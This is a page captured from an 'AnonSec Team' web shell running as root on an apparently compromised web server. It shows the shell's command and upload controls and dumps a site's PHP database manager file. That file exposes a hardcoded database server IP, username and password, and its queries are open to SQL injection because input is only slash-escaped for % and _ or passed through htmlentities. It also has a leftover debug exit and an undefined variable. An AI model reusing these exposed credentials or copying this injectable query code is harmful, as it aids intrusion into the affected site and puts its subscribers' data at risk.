h

AnonSec Team

Server IP : 149.13.87.7  /  Your IP : 185.174.145.2 Web Server : nginx System : Linux h2 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : root ( 0) PHP Version : 8.0.28 Disable Function : NONE MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON Directory (0755) :  /mnt/platforms/workspaces/shortable.org/../andesgross.com/

[  Home  ]	[  C0mmand  ]	[  Upload File  ]

Current File : /mnt/platforms/workspaces/shortable.org/../andesgross.com/DbManager.php

<?php

/**
 * Description of DbManager
 *
 * @author m.rahouni
 */


define('SERVER', '136.243.22.132');
define('DATABASE','cmsdb');
define('USER','portal');
define('PWD','wp_pass');
define('PORT',31077);

class Securite 
{

    public static function bdd($string) 
    {
        if (ctype_digit($string)) 
        {
            $string = intval($string);
        }
        else 
        {
            //$string = mysql_real_escape_string($string);
            $string = addcslashes($string, '%_');
        }
        return $string;
    }

    public static function html($string) 
    {
        return htmlentities($string);
    }

}

class Connection 
{
 
   private static $_instance = null;
   private $conn;

   private function __construct() 
   {
     $this->conn = new mysqli(SERVER, USER, PWD, DATABASE,PORT); 
   }

   public static function get_Instance() 
   {
     if(is_null(self::$_instance)) 
     {
       self::$_instance = new connection();
     }
     return self::$_instance;
   }
   
   public function execute_query($query) 
   {
       return mysqli_query($this->conn, $query);
                  
   }
   
   public function execute_query_affected_rows($query) 
   {
       mysqli_query($this->conn, $query);
       return  mysqli_affected_rows($this->conn);               
   }
}


class SubscribeManager extends Connection
{
    function __construct() {
        
    }
    
    
    function add_subscriber($subscriber)
    {
        $connection = $this->get_Instance();
        $fname      = Securite::bdd($subscriber->getFname());
        $lname      = Securite::bdd($subscriber->getLname());
        $email      = Securite::bdd($subscriber->getEmail());
        $domain     = Securite::bdd($subscriber->getDomain());
        $status     = Securite::bdd($subscriber->getStatus());
        $adress_ip  = Securite::bdd($subscriber->getAdress_ip());
        $code_activation   = Securite::bdd($subscriber->getCode_activation());
        $date_activation   = Securite::bdd($subscriber->getDate_activation());
        $date_registration = Securite::bdd($subscriber->getEntered());
               
        $sql = "INSERT IGNORE INTO subscriber (fname,lname,email,domain,adresse_ip,status,code_activation,date_activation,entered)
                   VALUES ('$fname','$lname','$email','$domain','$adress_ip','$status','$code_activation','$date_activation','$date_registration')";
        $rst = $connection->execute_query_affected_rows($sql);
        return $rst;
    }
    
    function  activate_account($activation_code) 
    {
        $today      = date("Y/m/d");
        $connection = $this->get_Instance();
        $sql        = "UPDATE subscriber SET status=1,date_activation='$today' WHERE code_activation ='".Securite::html($activation_code)."'";
        print_r($sql);exit;
        $result     = $connection->execute_query($sql);
        return $result; 
    }
    
    function get_subscriber_by_code_domain($code,$domain)
    {
       $connection = $this->get_Instance();
       $sql = "SELECT * FROM subscriber WHERE code_activation =".Securite::html($code)." AND domain=".Securite::html($domain);
       $rst = $connection->execute_query($sql);
       $subscriber = new Subscriber();
       if(mysqli_num_rows($result)==1)
        {
             while ($row = $result->fetch_assoc()) 
             {
                 $subscriber->setId($row['id']) ;
                 $subscriber->setFname($row['fname']) ;
                 $subscriber->setLname($row['lname']) ;
                 $subscriber->setEmail($row['email']) ;
                 $subscriber->setDomain($row['domain']) ;
                 $subscriber->setAdress_ip($row['adresse_ip']) ;
                 $subscriber->setStatus($row['status']) ;
                 $subscriber->setCode_activation($row['code_activation']) ;
                 $subscriber->setDate_activation($row['date_activation']) ;
                 $subscriber->setEntered($row['entered']) ;
              } 
         }   
         return $subscriber; 
    }
    
}
   
   
   
   
   
   
   
   
   
   
   
   

AnonSec - 2021